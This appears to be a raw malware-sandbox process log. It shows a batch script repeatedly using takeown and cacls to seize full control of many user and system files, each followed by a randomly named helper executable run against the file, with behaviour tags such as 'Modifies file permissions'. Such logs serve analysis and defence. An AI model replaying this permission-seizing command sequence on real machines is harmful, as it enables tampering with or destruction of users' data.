C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula "0000006H.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\pIGuRUh1.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000006P.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000006P.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000006P.bin"3⤵
- Modifies file permissions
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wRsAJGlb.exe -accepteula "0000006P.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula "0000006P.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\pIGuRUh1.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000081.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000081.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000081.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wRsAJGlb.exe -accepteula "00000081.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula "00000081.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\pIGuRUh1.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000089.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000089.bin" /E /G Admin:F /C3⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000089.bin"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wRsAJGlb.exe -accepteula "00000089.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula "00000089.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\pIGuRUh1.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000008R.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000008R.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000008R.bin"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wRsAJGlb.exe -accepteula "0000008R.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula "0000008R.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\pIGuRUh1.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000009D.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000009D.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000009D.bin"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wRsAJGlb.exe -accepteula "0000009D.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula "0000009D.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\pIGuRUh1.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000009L.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000009L.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000009L.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wRsAJGlb.exe -accepteula "0000009L.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula "0000009L.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\pIGuRUh1.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\000000A4.bin""2⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\000000A4.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\000000A4.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wRsAJGlb.exe -accepteula "000000A4.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula "000000A4.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\pIGuRUh1.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\000000AD.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\000000AD.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\000000AD.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wRsAJGlb.exe -accepteula "000000AD.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula "000000AD.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\pIGuRUh1.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\000000AL.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\000000AL.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\000000AL.bin"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wRsAJGlb.exe -accepteula "000000AL.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula "000000AL.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\pIGuRUh1.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\000000AV.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\000000AV.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\000000AV.bin"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wRsAJGlb.exe -accepteula "000000AV.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula "000000AV.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\pIGuRUh1.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\000000B7.bin""2⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\000000B7.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\000000B7.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wRsAJGlb.exe -accepteula "000000B7.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula "000000B7.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\pIGuRUh1.bat" "C:\Users\Admin\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\AC\Microsoft\ServiceWorkerFiles\9D44E7EB-C199-4DD1-B984-92D212B3728D\Zrtu2hQ08VU_1.js""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\AC\Microsoft\ServiceWorkerFiles\9D44E7EB-C199-4DD1-B984-92D212B3728D\Zrtu2hQ08VU_1.js" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\AC\Microsoft\ServiceWorkerFiles\9D44E7EB-C199-4DD1-B984-92D212B3728D\Zrtu2hQ08VU_1.js"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wRsAJGlb.exe -accepteula "Zrtu2hQ08VU_1.js" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula "Zrtu2hQ08VU_1.js" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\pIGuRUh1.bat" "C:\Users\All Users\Microsoft\UEV\Templates\SettingsLocationTemplate2013A.xsd""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\All Users\Microsoft\UEV\Templates\SettingsLocationTemplate2013A.xsd" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\All Users\Microsoft\UEV\Templates\SettingsLocationTemplate2013A.xsd"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wRsAJGlb.exe -accepteula "SettingsLocationTemplate2013A.xsd" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula "SettingsLocationTemplate2013A.xsd" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\pIGuRUh1.bat" "C:\Users\Admin\AppData\Local\Microsoft\GameDVR\KnownGameList.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\GameDVR\KnownGameList.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\GameDVR\KnownGameList.bin"3⤵
- Modifies file permissions
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wRsAJGlb.exe -accepteula "KnownGameList.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula "KnownGameList.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\pIGuRUh1.bat" "C:\Users\All Users\Microsoft\AppV\Setup\OfficeIntegrator.ps1""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\All Users\Microsoft\AppV\Setup\OfficeIntegrator.ps1" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\All Users\Microsoft\AppV\Setup\OfficeIntegrator.ps1"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wRsAJGlb.exe -accepteula "OfficeIntegrator.ps1" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula "OfficeIntegrator.ps1" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\pIGuRUh1.bat" "C:\Users\All Users\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\overlay.png""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\All Users\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\overlay.png" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\All Users\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\overlay.png"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wRsAJGlb.exe -accepteula "overlay.png" -nobanner3⤵
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula "overlay.png" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\pIGuRUh1.bat" "C:\Users\All Users\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\device.png""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\All Users\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\device.png" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\All Users\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\device.png"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wRsAJGlb.exe -accepteula "device.png" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula "device.png" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\pIGuRUh1.bat" "C:\Users\All Users\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\background.png""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\All Users\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\background.png" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\All Users\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\background.png"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wRsAJGlb.exe -accepteula "background.png" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula "background.png" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\pIGuRUh1.bat" "C:\Users\All Users\Microsoft\UEV\Scripts\RegisterInboxTemplates.ps1""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\All Users\Microsoft\UEV\Scripts\RegisterInboxTemplates.ps1" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\All Users\Microsoft\UEV\Scripts\RegisterInboxTemplates.ps1"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wRsAJGlb.exe -accepteula "RegisterInboxTemplates.ps1" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula "RegisterInboxTemplates.ps1" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\pIGuRUh1.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000006.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000006.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000006.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wRsAJGlb.exe -accepteula "00000006.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula "00000006.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\pIGuRUh1.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000000H.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000000H.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000000H.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wRsAJGlb.exe -accepteula "0000000H.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula "0000000H.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\pIGuRUh1.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000000Q.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000000Q.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000000Q.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wRsAJGlb.exe -accepteula "0000000Q.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula "0000000Q.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\pIGuRUh1.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000012.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000012.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000012.bin"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wRsAJGlb.exe -accepteula "00000012.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula "00000012.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\pIGuRUh1.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000052.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000052.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000052.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wRsAJGlb.exe -accepteula "00000052.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula "00000052.bin" -nobanner4⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\pIGuRUh1.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000072.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000072.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000072.bin"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wRsAJGlb.exe -accepteula "00000072.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula "00000072.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\pIGuRUh1.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000007A.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000007A.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000007A.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wRsAJGlb.exe -accepteula "0000007A.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula "0000007A.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\pIGuRUh1.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000007I.bin""2⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000007I.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000007I.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wRsAJGlb.exe -accepteula "0000007I.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula "0000007I.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\pIGuRUh1.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000007Q.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000007Q.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000007Q.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wRsAJGlb.exe -accepteula "0000007Q.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula "0000007Q.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
